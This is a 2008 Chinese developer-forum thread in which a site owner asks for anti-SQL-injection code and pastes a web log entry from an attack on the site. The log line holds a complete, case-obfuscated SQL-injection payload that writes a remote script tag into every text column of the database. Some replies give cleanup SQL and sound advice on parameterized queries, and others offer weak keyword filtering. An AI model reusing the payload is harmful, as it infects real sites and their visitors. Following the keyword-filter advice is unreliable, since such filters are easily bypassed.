Global.asax.cs防注入问题

2008-05-13 03:11:37 2.2k 阅读 AI 写同款 · GEO 优化AI 选题数据监测一键分发 ›

bauhaus1928 墨衍会员 · AI 创作全网分发关注 + 加入社区

Windows身份认证在ASP.NET企业内网的实战原理与配置 Windows身份认证是基于操作系统安全子系统的企业级身份验证机制，其核心依托NTLM/Kerberos协议与Active Directory集成，实现免登录、单点同步、NTFS细粒度授权等关键能力。相比Forms认证，它将身份校验下沉至IIS内核层，避免密码传输与应用层逻辑耦合，显著提升安全性与性能。技术价值体现在零往返认证、AD组递归授权、Kerberos委派访问后端服务等场景，广泛应用于金融、制造、政务等内网ASP.NET系统。本文聚焦真实产线中的IIS配置、AD查询优化、模拟权限控制及Kerbero 阅读详情

有谁能帮我写一个防注入的Global.asax.cs文件啊？
最好能尽可能多的过滤掉一些常用的SQL注入
谢谢！

顺便帮我看下这次攻击是利用了什么漏洞？
2008-05-13 00:31:41 W3SVC2104996912 61.129.*.* GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xTyPe='u'%20AnD%20(b.xTyPe=99%20oR%20b.xTyPe=35%20oR%20b.xTyPe=231%20oR%20b.xTyPe=167)%20oPeN%20tAbLe_cursoR%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20while(@@fEtCh_status=0)%20bEgIn%20exec('UpDaTe%20['%2b@t%2b']%20sEt%20['%2b@c%2b']=rtrim(convert(varchar,['%2b@c%2b']))%2bcAsT(0x223E3C2F7469746C653E3C736372697074207372633D687474703A2F2F732E736565392E75732F732E6A733E3C2F7363726970743E3C212D2D%20aS%20vArChAr(67))')%20fEtCh%20next%20FrOm%20tAbLe_cursoR%20iNtO%20@t,@c%20eNd%20cLoSe%20tAbLe_cursoR%20dEAlLoCaTe%20tAbLe_cursoR;-- 80 - 218.246.32.206 Mozilla/4.0 302 0 0

...全文

转录因子详细介绍(motif) 转录因子详细介绍(motif) TF: transcription factor转录因子TFBS: transcription factor binding site转录因子结合位点TFBS是序列内的location，TF特异结合在这里，这个site有这种特点 1 和一些参考相关的一个位置（开始，结束，strand），这些reference可以是染色体开始，geneTSS。也可以是一段sequence 2 A SITE可以是实验证实的（已知的），也可以是一些算法（预测的） 3 例子，下面这个图是酵母阅读详情

bauhaus1928

.NET社区 62,273 成员 668,968 内容

+ 关注 + 加入社区

切换为时间正序

zhuJustice 2011-12-26

打赏
举报

很好,学习了

ShenWong 2010-12-23

打赏
举报

用存储过程吧

快乐的2 2009-07-30

打赏
举报

[Quote=引用 19 楼 youbl 的回复:]
楼上各位的防注入是不是太过了？

连select等等都防住了？
那如果用户就是要输入select等单词呢？

一直以来我的代码里都是只替换单引号为2个单引号就OK了
或者干脆用Parameter的方式，连单引号替换都省掉了。

没必要处理别的单词吧。

就象csdn，没有处理你们的这些个数据库单词吧。
[/Quote]
我也是这么做的，只过滤单引号，其余内容都用单引号包上，是数字的参数则在构造SQL语句之前由字符串转换成数字。

linyefeilyft 2008-06-03

打赏
举报

全改成存储过程吧

wagod 2008-06-02

打赏
举报

强烈建议直接采用 Parameter方式查询，或者直接写存储过程，这种方式本身就是防止sql注入的

另外，采用参数化查询，能够提高数据库查询效率，你的每条sql语句执行查询的时候，都会在数据库缓存，如果是拼凑的sql语句，数据库认为每次输入都是不一样的，缓存的几率要小于参数化查询的缓存几率

pq808 2008-06-02

打赏
举报

用参数化查询吧

comszsoft 2008-06-02

打赏
举报

[Quote=引用楼主 bauhaus1928 的帖子:]
有谁能帮我写一个防注入的Global.asax.cs文件啊？
最好能尽可能多的过滤掉一些常用的SQL注入
谢谢！

顺便帮我看下这次攻击是利用了什么漏洞？
2008-05-13 00:31:41 W3SVC2104996912 61.129.*.* GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr(255),@c%20vArChAr(255)%20dEcLaRe%20tAbLe_cursoR%20cUrSoR%20FoR%20sElEcT%20a.nAmE,b.nAmE%20FrOm%20sYsObJeCtS%20a,sYsCoLuMnS%20b%20wHeRe%20a.iD=b.iD%20AnD%20a.xT…
[/Quote]
2008-05-13 00:31:41 W3SVC2104996912 61.129.*.* GET /newsinfo.aspx id=678;dEcLaRe%20@t%20vArChAr
----
楼主读数据库的语句是拼出来的？改用存储过程安全些，读帖子内容的时候只传参数id，就不会出这个问题了

无心雨云 2008-05-31

打赏
举报

天哪
怎么又被攻擊了

test33 2008-05-31

打赏
举报

强！！！
收藏了

值得学习！！！

lawbc 2008-05-31

打赏
举报

你只要过滤掉declare和cast关键字就行了

TakiCN 2008-05-31

打赏
举报

DECLARE @fieldtype sysname
SET @fieldtype='varchar'

--删除处理
DECLARE hCForEach CURSOR GLOBAL
FOR
SELECT N'update '+QUOTENAME(o.name)
+N' set '+ QUOTENAME(c.name) + N' = replace(' + QUOTENAME(c.name) + ',''</title><script src=</title><script src=http://%6b%6b%36%2e%75%73/1.js></script>'','''')'
FROM sysobjects o,syscolumns c,systypes t
WHERE o.id=c.id
AND OBJECTPROPERTY(o.id,N'IsUserTable')=1
AND c.xusertype=t.xusertype
AND t.name=@fieldtype
EXEC sp_MSforeach_Worker @command1=N'?'

用这个方法可以替换掉varchar类型的数据,在sql2000有效,另外可以将varchar改成char
同时也可以使用数据日志恢复数据库到被攻击前的某一个点

游北亮 2008-05-30

打赏
举报

另，我这个说明：只替换单引号，只是在更新时或where里的＝语句时使用

如果where里还用了like，还要处理 _ % 等通配符
如果没有用like，那么只要处理单引号就好。

[Quote=引用 19 楼 youbl 的回复:]
楼上各位的防注入是不是太过了？

连select等等都防住了？
那如果用户就是要输入select等单词呢？

一直以来我的代码里都是只替换单引号为2个单引号就OK了
或者干脆用Parameter的方式，连单引号替换都省掉了。

没必要处理别的单词吧。

就象csdn，没有处理你们的这些个数据库单词吧。
[/Quote]